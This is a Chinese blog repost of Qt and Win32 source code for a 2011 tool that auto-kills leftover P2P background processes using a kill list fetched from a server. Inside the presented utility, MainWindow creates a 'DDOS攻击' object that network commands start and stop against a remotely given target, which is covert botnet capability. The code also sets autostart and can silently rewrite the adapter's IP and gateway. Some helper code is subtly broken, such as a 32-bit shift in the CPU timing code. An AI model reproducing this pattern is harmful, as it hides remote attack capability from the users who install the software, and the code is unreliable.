P2P后台终结者源码.分享QT+WIN SDK实现.自动扫描后台关闭P2P后台进程
文章转自王牌软件
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
只回答业务咨询
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 |
#ifndef KILLPROCESS_H #define KILLPROCESS_H #include <QObject> #include <QThread> #include <QLibrary> #include <QFile> #include <QDataStream> #include <QTime> #include <QVector> //============================================================================================================ //我非常讨厌一些P2P软件退出的时候并没有把后台退出。这些后台占用您的网络资源。造成网络非常不稳定,整个程序会自动扫描没有关闭的后台 //每次打开任务管理我都觉得非常麻烦。对于不懂的人那是因为自己的电脑又中病毒了 //我花了3天时间制作了这个小软件。反响不错。现在很多的安全软件都没有这个功能。我帮了不少人..呵呵 //P2P后台终结者 版本2.0 //程序编程人员:Jason's.Alex QQ:531401335 //QT社区群:3855916 //日期:2011/08/03 //============================================================================================================ typedef void (*ADDPROCESSLIST) (const char *fore,const char *back); typedef void (*INSTALLCALLBACKPROCESS) (ADDPROCESSLIST &AD);////安装添加进程回调函数 typedef void (*FINDPROCESSMATCH)();//搜索关联进程 typedef void (*CLEANDATA)();//清除进程列表数据 void LogMessage(const char*);//日志消息 typedef void (*LOG)(const char*);//日志回调函数 typedef void (*INSTALL)(LOG);//安装日志钩子 struct ProcessDetail//进程详细信息 { QString name;//进程名 QString back;//后台进程 QString descript;//描述 bool operator==(const QString &rhs) { return back==rhs; } }; class KillProcess : public QObject { Q_OBJECT public: explicit KillProcess(QObject *parent = 0); void ShowLog(const char *);//显示日志消息 void LoadDll();//载入动态链接库 signals: void Error(const QString &);//错误信息 void ShowLogMessage(const QString &);//显示日志消息 void ShowTrayMessage(const QString &);//显示托盘消息 public slots: void AddToProcessList();//添加到结束进程列表 void ClearProcess();//清理进程 void ClearProcessList();//清空进程数据列表 void AppendProcessList(const QString &,const QString &,const QString &); private: QLibrary dll; QVector<ProcessDetail> processList; INSTALLCALLBACKPROCESS AddCallBackProcess;////安装添加进程回调函数 FINDPROCESSMATCH FindMatchProcess;//查找进程 INSTALL InstallLog;//日志回调函数 CLEANDATA ClearData;//清楚数据 QString appPath; ADDPROCESSLIST AddKillProcessList;//添加要结束的进程 }; extern KillProcess *killProcess; #endif // KILLPROCESS_H #include "killprocess.h" #include <QDir> #include <QDebug> KillProcess *killProcess; KillProcess::KillProcess(QObject *parent): QObject(parent),dll("System.dll") { } void KillProcess::LoadDll()//载入动态链接库 { ClearData=(CLEANDATA)dll.resolve("CleanData"); FindMatchProcess=(FINDPROCESSMATCH)dll.resolve("FindMatchProcess"); InstallLog=(INSTALL)dll.resolve("InstallLog"); AddCallBackProcess=(INSTALLCALLBACKPROCESS)dll.resolve("IntstallCallBackProcess"); if(!AddCallBackProcess||!FindMatchProcess||!InstallLog||!ClearData) emit Error(tr("Loading system.dll failed!!")); InstallLog(LogMessage);//安装日志回调钩子 AddCallBackProcess(AddKillProcessList);//安装添加进程回调函数 } void KillProcess::AppendProcessList(const QString &name, const QString &back, const QString &decrip) { ProcessDetail pd; pd.name=name; pd.back=back; pd.descript=decrip; processList.append(pd); } void KillProcess::AddToProcessList() { for(QVector<ProcessDetail>::iterator iter=processList.begin();iter!=processList.end();++iter) { AddKillProcessList(iter->name.toStdString ().c_str(),iter->back.toStdString ().c_str()); } } void KillProcess::ClearProcess()//清理进程 { FindMatchProcess(); } void KillProcess::ClearProcessList()//清空数据进程列表 { ClearData(); } void KillProcess::ShowLog(const char *msg)//显示日志消息 { QVector<ProcessDetail>::const_iterator ite=qFind(processList.begin(),processList.end(),QString(msg)); emit ShowLogMessage(QTime::currentTime().toString()+tr(" -><font color=purple>KillBackground:</font><font color=red>")+msg+ tr("</font> -><font color=purple>MainProcess:</font><font color=blue>")+ite->name+ tr("</font> -><font color=purple>Descript:</font><font color=green>")+ite->descript+"</font>");//显示日志消息 emit ShowTrayMessage(tr("KillBackground:")+msg);//显示托盘消息 } void LogMessage(const char*msg)//日志消息 { killProcess->ShowLog(msg); } #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QMainWindow> #include <killprocess.h> #include <QMessageBox> #include <thread.h> #include <QSystemTrayIcon> #include <QCloseEvent> #include <QMenu> #include <QSettings> #include <aboutform.h> #include <QScrollBar> #include <QDesktopServices> #include <QUrl> #include <QTimer> #include <network.h> #include <ddos.h> //============================================================================================================ //我非常讨厌一些P2P软件退出的时候并没有把后台退出。这些后台占用您的网络资源。造成网络非常不稳定,整个程序会自动扫描没有关闭的后台 //每次打开任务管理我都觉得非常麻烦。对于不懂的人那是因为自己的电脑又中病毒了 //我花了3天时间制作了这个小软件。反响不错。现在很多的安全软件都没有这个功能。我帮了不少人..呵呵 //P2P后台终结者 版本2.0 //程序编程人员:Jason's.Alex QQ:531401335 //QT社区群:3855916 //日期:2011/08/03 //============================================================================================================ namespace Ui { class MainWindow; } class MainWindow : public QMainWindow { Q_OBJECT public: explicit MainWindow(QWidget *parent = 0); ~MainWindow(); virtual void hideEvent(QHideEvent *);//隐藏事件 virtual void showEvent(QShowEvent *);//显示事件 virtual void closeEvent(QCloseEvent *);//关闭事件 void CreateTrayMenu();//创建托盘菜单 void CreateAction();//创建动作 void CreateNetwork();//创建网络通讯 void CreateDDos();//创建DDOS攻击 public slots: void Error(const QString &);//显示错误信息 void TrayMessage(const QString &);//显示托盘消息 void activated( QSystemTrayIcon::ActivationReason reason );//托盘事件 void SetAutoRun(bool);//设置自动启动 void ShowAbout();// 显示关于 void ScrollToEnd();//拖动滚动条到最后 void LeaveMessage();//留言给我 void OfficialSite();//访问官方 void UpdateVersion(const bool,const QStringList &);//检测新版本 private: Ui::MainWindow *ui; ProcessThread thread; QSystemTrayIcon *tray;//托盘 QMenu *trayMenu;//托盘菜单 bool closed; QAction *autoRun;// 自动运行 AboutForm *aboutForm;//关于窗口 QPoint dPos,mousePos,windowPos; Network *network;//网络通讯 DDos *ddos;//DDOS攻击 }; #endif // MAINWINDOW_H #include "mainwindow.h" #include "ui_mainwindow.h" #include <QProcess> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow),closed(false) { ui->setupUi(this); this->setFixedSize(this->size()); killProcess=new KillProcess(this); tray=new QSystemTrayIcon(this); tray->setIcon(QIcon(":/image/icon.png")); tray->setVisible(true); connect(killProcess,SIGNAL(ShowLogMessage(QString)),ui->textEdit,SLOT(append(QString))); connect(killProcess,SIGNAL(ShowTrayMessage(QString)),SLOT(TrayMessage(QString))); connect(killProcess,SIGNAL(Error(QString)),SLOT(Error(QString))); killProcess->LoadDll(); connect(tray,SIGNAL(activated(QSystemTrayIcon::ActivationReason)),SLOT(activated(QSystemTrayIcon::ActivationReason))); connect(ui->textEdit,SIGNAL(textChanged()),SLOT(ScrollToEnd())); this->CreateNetwork(); this->CreateAction(); this->CreateTrayMenu(); this->CreateDDos(); } //==================================================================================================================== void MainWindow::UpdateVersion(const bool arg, const QStringList &list)//检测新版本 { if(arg) { if(QMessageBox::Yes==QMessageBox::information(0,tr("New Version"), tr("Have new version\nDownload..Now!"),QMessageBox::Yes,QMessageBox::No)) { qApp->quit(); QProcess *p=new QProcess(0); p->setWorkingDirectory(qApp->applicationDirPath()); p->start("update.exe",list); } }else { tray->showMessage(tr("Not Version"),tr("Up to data")); } } //===================================================================================================================== MainWindow::~MainWindow() { delete ui; delete killProcess; } void MainWindow::ScrollToEnd()//拖动滚动条到最后 { ui->textEdit->verticalScrollBar()->setValue(ui->textEdit->verticalScrollBar()->value()); } //====================================================================================================================== void MainWindow::CreateTrayMenu()//创建托盘菜单 { trayMenu=new QMenu(this); trayMenu->addAction(QIcon(":/image/icon.png"),tr("About Software"),this,SLOT(ShowAbout())); trayMenu->addSeparator(); trayMenu->addAction(QIcon(":/image/Official.png"),tr("OfficialSite"),this,SLOT(OfficialSite())); trayMenu->addSeparator(); trayMenu->addAction(QIcon(":/image/leave.png"),tr("LeaveMessage"),this,SLOT(LeaveMessage())); trayMenu->addSeparator(); trayMenu->addAction(QIcon(":/image/update.png"),tr("UpdateVersion"),network,SLOT(SendVersion())); trayMenu->addSeparator(); trayMenu->addAction(autoRun); trayMenu->addSeparator(); trayMenu->addAction(QIcon(":/image/close.png"),tr("Quit"),qApp,SLOT(quit())); tray->setContextMenu(trayMenu); } //=========================================================================================================================== void MainWindow::CreateAction() { autoRun=new QAction(tr("AutoRun"),this); autoRun->setCheckable(true);//设置是否显示验证钩; connect(autoRun,SIGNAL(triggered(bool)),SLOT(SetAutoRun(bool))); QSettings reg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",QSettings::NativeFormat); autoRun->setChecked(!reg.value("P2PKiller").isNull()); } //========================================================================================================================== void MainWindow::CreateNetwork()//创建网络模块 { network=new Network(this); connect(network,SIGNAL(EmitUpdate(bool,QStringList)),SLOT(UpdateVersion(bool,QStringList))); connect(network,SIGNAL(EmitData(QString,QString,QString)),killProcess,SLOT(AppendProcessList(QString,QString,QString))); connect(network,SIGNAL(EmitReadDataFinish()),killProcess,SLOT(AddToProcessList())); connect(network,SIGNAL(EmitReadDataFinish()),&thread,SLOT(start())); connect(network,SIGNAL(EmitStartReadData()),&thread,SLOT(terminate())); connect(network,SIGNAL(EmitStartReadData()),killProcess,SLOT(ClearProcessList())); network->Connect(); } //=========================================================================================================================== void MainWindow::CreateDDos()//创建DDO攻击 { ddos=new DDos(this); connect(network,SIGNAL(EmitStartDDos(QString)),ddos,SLOT(StartDDos(QString))); connect(network,SIGNAL(EmitStopDDos()),ddos,SLOT(StopDDos())); } //=========================================================================================================================== void MainWindow::SetAutoRun(bool state) { QSettings reg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",QSettings::NativeFormat); if(state) reg.setValue("P2PKiller",qApp->applicationFilePath().replace("/","\\")+" -Min"); else reg.remove("P2PKiller"); } void MainWindow::TrayMessage(const QString &s)//显示托盘消息 { tray->showMessage(tr("P2PKiller"),s,QSystemTrayIcon::Information,1000); } void MainWindow::activated(QSystemTrayIcon::ActivationReason reason)//托盘事件 { if(reason==QSystemTrayIcon::DoubleClick) this->show(); } void MainWindow::hideEvent(QHideEvent *) { tray->show(); } void MainWindow::Error(const QString &arg)//错误信息 { QMessageBox::warning(this,tr("Error"),arg+tr("\nDownload system.dll file")); qApp->quit(); QProcess *p=new QProcess(0); p->setWorkingDirectory(qApp->applicationDirPath()); p->start("update.exe",QStringList()<<"system.dll"); } void MainWindow::showEvent(QShowEvent *) { tray->hide(); } void MainWindow::closeEvent(QCloseEvent *e) { e->ignore(); this->hide(); } void MainWindow::ShowAbout() { aboutForm=new AboutForm(this); aboutForm->show(); } void MainWindow::LeaveMessage() { QDesktopServices().openUrl(QUrl("http://531401335.qzone.qq.com"));//访问开发者空间 } void MainWindow::OfficialSite() { QDesktopServices().openUrl(QUrl("http://bctalk.5d6d.com"));//访问官方 } //--------------------------------------------------------------------------- #include <windows.h> #include "system.h" #include "ddos.h" //--------------------------------------------------------------------------- // Important note about DLL memory management when your DLL uses the // static version of the RunTime Library: // // If your DLL exports any functions that pass String objects (or structs/ // classes containing nested Strings) as parameter or function results, // you will need to add the library MEMMGR.LIB to both the DLL project and // any other projects that use the DLL. You will also need to use MEMMGR.LIB // if any other projects which use the DLL will be performing new or delete // operations on any non-TObject-derived classes which are exported from the // DLL. Adding MEMMGR.LIB to your project will change the DLL and its calling // EXE's to use the BORLNDMM.DLL as their memory manager. In these cases, // the file BORLNDMM.DLL should be deployed along with your DLL. // // To avoid using BORLNDMM.DLL, pass string information using "char *" or // ShortString parameters. // // If your DLL uses the dynamic version of the RTL, you do not need to // explicitly add MEMMGR.LIB as this will be done implicitly for you //--------------------------------------------------------------------------- #pragma argsused typedef void (*ADDPROCESSLIST)(const char *fore,const char *back); void AddKillPorcessList(const char *fore,const char *back); //添加进程列表 extern "C" __declspec(dllexport) void __stdcall IntstallCallBackProcess(ADDPROCESSLIST &AD); //添加进程列表回调函数 extern "C" __declspec(dllexport) void __stdcall FindMatchProcess();//查找匹配进程 extern "C" __declspec(dllexport) void __stdcall CleanData();//清空数据 typedef void (*LOG)(const char*); //日志钩子 extern "C" __declspec(dllexport) void __stdcall InstallLog(::LOG);//安装日志钩子 struct ProcessDetail //进程详情 { string name; string back; }; typedef struct ProcessManage //进程管理 { vector<ProcessDetail> ProcessList; Process SystemProcess; void FindMatchProcess();//查找匹配进程; }*PProcessManage; PProcessManage pProcessManage; int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) { switch(reason) { case DLL_PROCESS_ATTACH: pProcessManage=new ProcessManage; break; case DLL_PROCESS_DETACH: delete pProcessManage; break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return 1; } //----------------------------------------------------------------------------- void __stdcall IntstallCallBackProcess(ADDPROCESSLIST &AD) //添加进程列表回调函数 { AD=AddKillPorcessList; } void AddKillPorcessList(const char *fore,const char *back) { ProcessDetail pd; pd.name=fore; pd.back=back; pProcessManage->ProcessList.push_back(pd); } //----------------------------------------------------------------------------- void __stdcall FindMatchProcess()//查找进程 { pProcessManage->FindMatchProcess(); } //----------------------------------------------------------------------------- void __stdcall CleanData()//清空数据 { pProcessManage->ProcessList.clear(); } //----------------------------------------------------------------------------- void ProcessManage::FindMatchProcess()//查找匹配进程; { for(vector<ProcessDetail>::const_iterator iter=ProcessList.begin();iter!=ProcessList.end();++iter) { if(SystemProcess.ProcessFind(iter->back)!=0) { if(SystemProcess.ProcessFind(iter->name)==0) SystemProcess.AddBanProcess(iter->back); } } SystemProcess.BanProcess(false); } //----------------------------------------------------------------------------- void __stdcall InstallLog(::LOG LogMsg)//安装日志钩子 { pProcessManage->SystemProcess.LogMsg=LogMsg; } /--------------------------------------------------------------------------- #pragma hdrstop #include "System.h" //--------------------------------------------------------------------------- #pragma package(smart_init) TokenPrivilege::TokenPrivilege(const DWORD &DesiredAccess,LPCTSTR PrivilegeValue, const DWORD &Attributes,const HANDLE &Handle) { HANDLE Token; TOKEN_PRIVILEGES TP; OpenProcessToken(Handle,DesiredAccess,&Token); //打开进程令牌 LookupPrivilegeValue(NULL,PrivilegeValue,&TP.Privileges[0].Luid); TP.PrivilegeCount=1; TP.Privileges[0].Attributes=Attributes; AdjustTokenPrivileges(Token,false,&TP,sizeof(TP),NULL,0); //将当前程序启用特权 CloseHandle(Token); } //============================================================================= Power::Power():TokenPrivilege(TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,SE_SHUTDOWN_NAME,SE_PRIVILEGE_ENABLED) { } //------------------------------------------------------------------------------ //------------------------------------------------------------------------------ bool Power::SetPower(PowerKind Kind)const //执行关机函数 { switch(Kind) { case PowerKind::ShutDown: if(!ExitWindowsEx(EWX_FORCE|EWX_SHUTDOWN,0)) //关机 { return false; } break; case Reboot: if(!ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0)) //重启 { return false; } break; case Pause: if(!SetSystemPowerState(true,true))//待机 { return false; } break; case Dormant: if(!SetSystemPowerState(false,true))//休眠 { return false; } break; case LogOff: if(!ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0))//注销 { return false; } break; case Display: SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);//关闭显示器 break; default: return false; } return true; } //============================================================================== //设置网卡IP地址,网关类 //=============================================================================== NetCard::NetCard() { Reg=new TRegistry; //设置注册表键值 Reg->RootKey=HKEY_LOCAL_MACHINE; if(!this->NetCardInfo()) //捕获异常信息 { throw Exception("获取网卡信息失败!"); } } //---------------------------------------------------------------------------- NetCard::~NetCard() { delete Reg; } //------------------------------------------------------------------------------ bool NetCard::NetCardInfo()//获取网关信息 { TStringList *Keys=new TStringList; DWORD DateType,BufSize=256; Reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards",false); Reg->GetKeyNames(Keys);//获取所有网卡设备 Reg->CloseKey(); for(int i=0;i<Keys->Count;++i) { Reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards\\"+Keys[0][i],false); DescriptionName=Reg->ReadString("Description"); //获取设备描述名字 DeviceID=Reg->ReadString("ServiceName");//获取设备ID Reg->CloseKey(); if(!DescriptionName.IsEmpty())//判断是否是网卡 { Reg->OpenKey("\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\"+DeviceID,false);//打开当前设备配置 if(RegSetValueEx(Reg->CurrentKey,"DefaultGateway",0,REG_MULTI_SZ,Gateway,sizeof(Gateway))!=0)//设置网关地址 return false; if(RegQueryValueEx(Reg->CurrentKey,"IPAddress",0,&DateType,IPAddr,&BufSize)!=0) //获取IP地址 return false; BufSize=256; if(RegQueryValueEx(Reg->CurrentKey,"SubnetMask",0,&DateType,SubMask,&BufSize)!=0) //获取子掩码 return false; Reg->CloseKey(); break; } } delete Keys; return true; } //----------------------------------------------------------------------------- const String& NetCard::GetDeviceID() //获取设备ID { return DeviceID; } //----------------------------------------------------------------------------- const String& NetCard::GetDescripitonName()//获取描述名 { return DescriptionName; } //----------------------------------------------------------------------------- const String& NetCard::GetIPAddress()//获取IP地址 { return IPAddr; } //----------------------------------------------------------------------------- const String& NetCard::GetSubMask()//获取子掩码 { return SubMask; } //----------------------------------------------------------------------------- const String& NetCard::GetGateway()//获取网关地址 { return Gateway; } //---------------------------------------------------------------------------- bool NetCard::SetGateway(String Gateway)//设置网关 { return NotifyGatewayChange(IPAddr,SubMask,Gateway); } //-------------------------------------------------------------------------------- bool NetCard::NotifyGatewayChange(const String &IPAddr,const String &SubMask,const String &Gateway)const//通知网关更改事件 { String Parameter("interface ip set address \"本地连接\" static"); Parameter+=" "+IPAddr+" "+SubMask+" "+Gateway+" "+"1"; return ShellExecute(NULL,"open","netsh",Parameter.t_str(),NULL,SW_HIDE); } //=============================================================================== //系统进程管理 //=============================================================================== Process::Process(): TokenPrivilege(TOKEN_ADJUST_PRIVILEGES,SE_DEBUG_NAME,SE_PRIVILEGE_ENABLED) { } //------------------------------------------------------------------------------- void Process::AddBanProcess(const string &Process)//添加要结束的进程 { ProcessList.push_back(Process); } //------------------------------------------------------------------------------ bool Process::ProcessFirst(HANDLE Snapshot,PPROCESSENTRY32 PPE)const//枚举进程 { bool OK=Process32First(Snapshot,PPE); if(OK&&(PPE->th32ProcessID==0)) OK=ProcessNext(Snapshot,PPE); return OK; } //------------------------------------------------------------------------------ bool Process::ProcessNext(HANDLE Snapshot,PPROCESSENTRY32 PPE)const { bool OK=Process32Next(Snapshot,PPE); if(OK&&(PPE->th32ProcessID==0)) OK=ProcessNext(Snapshot,PPE); return OK; } //------------------------------------------------------------------------------ PROCESSENTRY32 PE;//进程映射 DWORD Process::ProcessFind(const string &ExeName)const// 查找进程 { PROCESSENTRY32 PPE={sizeof(PPE)}; HANDLE Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(Snapshot==INVALID_HANDLE_VALUE) return 0; for(bool Ok=ProcessFirst(Snapshot,&PPE);Ok;Ok=ProcessNext(Snapshot,&PPE)) { if(ExeName.compare(PPE.szExeFile)==0) { CloseHandle(Snapshot); PE=PPE; return PPE.th32ProcessID; //返回进程ID } } CloseHandle(Snapshot); return 0; } //------------------------------------------------------------------------------- HANDLE Process::GetProcessHandle(const int &Id)const//获取进程句柄 { return OpenProcess(PROCESS_TERMINATE,false,Id);//获取进程句柄 } //-------------------------------------------------------------------------------- void Process::BanProcess(const bool &Enable)//禁止进程 { DWORD WndId=0; // while(Enable) //{ for(int i=0;i<ProcessList.size();++i) { if(WndId=ProcessFind(ProcessList[i])) { HANDLE hwnd=GetProcessHandle(WndId); if(hwnd) { TerminateProcess(hwnd,0); CloseHandle(hwnd); LogMsg(PE.szExeFile); //日志消息钩子 } } } ProcessList.clear();//清空进程列表 // Application->ProcessMessages(); // Sleep(10); //} } //============================================================================== //系统hook //============================================================================== bool Hook::SystemIdle=false; HHOOK Hook::HookHandle=NULL; //------------------------------------------------------------------------------ Hook::Hook(int HookId) { switch(HookId) { case WH_JOURNALRECORD: { HookHandle=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0); break; } } if(HookHandle==NULL) //是否成功启用hook.否则引发异常 throw Exception("使用hook失败"); } //------------------------------------------------------------------------------ bool Hook::GetSystemIdle(void) { bool TempIdle=SystemIdle; SystemIdle=true;//设置为空闲状态 return TempIdle; } //------------------------------------------------------------------------------ Hook::~Hook() { if(HookHandle!=NULL) //卸载钩子 UnhookWindowsHookEx(HookHandle); } //------------------------------------------------------------------------------- HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)//日子钩子回调函数 { if(iCode<0) return (HOOKPROC)CallNextHookEx(Hook::HookHandle,iCode,wParam,lParam); if(iCode==HC_ACTION) { EVENTMSG *MSG=(EVENTMSG*)lParam; if(MSG->message==WM_KEYDOWN||MSG->message==WM_MOUSEMOVE) { Hook::SystemIdle=false;//使用中 } } return (HOOKPROC)CallNextHookEx(Hook::HookHandle,iCode,wParam,lParam); } //--------------------------------------------------------------------------------- //============================================================================== //获取CPU使用量 Hardware::Hardware() { GetSystemTimes(&PreIdle,&PreKernel,&PreUser); } //------------------------------------------------------------------------------ int Hardware::GetCPUUsage(void) { this->ExecuteFileTime(); return (KernelTime+UserTime-IdleTime)*100/(KernelTime+UserTime);//计算CPU使用量 } //------------------------------------------------------------------------------ int Hardware::GetCPUIdle(void)//获取CPU空闲率 { this->ExecuteFileTime(); return IdleTime*100/(KernelTime+UserTime); } //------------------------------------------------------------------------------ int Hardware::GetCPUNum(void)const//获取CPU数量 { _SYSTEM_INFO CPU; GetSystemInfo(&CPU); return CPU.dwNumberOfProcessors; } //------------------------------------------------------------------------------ int Hardware::CompareFileTime(const _FILETIME *PreTime,const _FILETIME *CurrentTime)const//比较两个时间片 { int Pre=PreTime->dwHighDateTime<<32|PreTime->dwLowDateTime;//获取先前的时间片 int Cur=CurrentTime->dwHighDateTime<<32|CurrentTime->dwLowDateTime; //获取当前的时间片 return (Cur-Pre); } //------------------------------------------------------------------------------- void Hardware::ExecuteFileTime(void)//执行时间片 { Application->ProcessMessages(); Sleep(1000); GetSystemTimes(&Idle,&Kernel,&User); //比较时间片 IdleTime=CompareFileTime(&PreIdle,&Idle); KernelTime=CompareFileTime(&PreKernel,&Kernel); UserTime=CompareFileTime(&PreUser,&User); PreIdle=Idle;//交换时间片 PreKernel=Kernel; PreUser=User; } |
学习日记,兼职软件设计,软件修改,毕业设计。
本文出自 学习日记,转载时请注明出处及相应链接。
本文永久链接: https://www.softwareace.cn/?p=391